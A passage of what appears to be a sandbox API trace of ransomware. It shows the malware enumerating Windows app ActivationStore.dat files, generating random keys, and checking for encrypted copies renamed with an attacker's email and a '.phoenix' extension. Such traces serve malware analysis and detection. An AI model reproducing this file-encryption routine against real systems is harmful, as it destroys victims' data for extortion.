	[0231.061] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16384) returned 1
	[0231.061] CloseHandle (hObject=0x2c8) returned 1
	[0231.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0231.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.061] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0231.098] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0231.098] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0231.102] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=131072) returned 1
	[0231.102] CloseHandle (hObject=0x2c8) returned 1
	[0231.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0231.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.103] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0231.601] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0231.601] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0231.722] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=32768) returned 1
	[0231.722] CloseHandle (hObject=0x2c8) returned 1
	[0231.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0231.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.722] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0231.795] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0231.796] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0231.798] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=32768) returned 1
	[0231.798] CloseHandle (hObject=0x2c8) returned 1
	[0231.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0231.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.799] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0231.986] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0231.987] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0231.988] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=65536) returned 1
	[0231.988] CloseHandle (hObject=0x2f0) returned 1
	[0231.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0231.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.988] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0232.050] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0232.050] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0232.057] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=262144) returned 1
	[0232.057] CloseHandle (hObject=0x2f0) returned 1
	[0232.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0232.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0232.057] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0232.117] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0232.117] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0232.357] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=262144) returned 1
	[0232.357] CloseHandle (hObject=0x2c8) returned 1
	[0232.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0232.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0232.358] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0232.564] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0232.564] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0232.567] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=262144) returned 1
	[0232.567] CloseHandle (hObject=0x2f0) returned 1
	[0232.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0232.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0232.567] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0232.649] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0232.649] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0232.651] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16384) returned 1
	[0232.651] CloseHandle (hObject=0x2f0) returned 1
	[0232.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0232.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0232.651] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0232.758] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0232.758] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0232.761] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=65536) returned 1
	[0232.761] CloseHandle (hObject=0x2f4) returned 1
	[0232.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0232.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0232.761] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0232.864] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0232.864] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0232.871] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16384) returned 1
	[0232.872] CloseHandle (hObject=0x2c0) returned 1
	[0232.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0232.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0232.872] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0234.282] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0234.282] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0234.283] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16384) returned 1
	[0234.283] CloseHandle (hObject=0x2c8) returned 1
	[0234.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0234.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0234.284] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0235.009] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0235.010] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0235.010] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=131072) returned 1
	[0235.010] CloseHandle (hObject=0x2d4) returned 1
	[0235.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\activationstore.dat")) returned 0x20
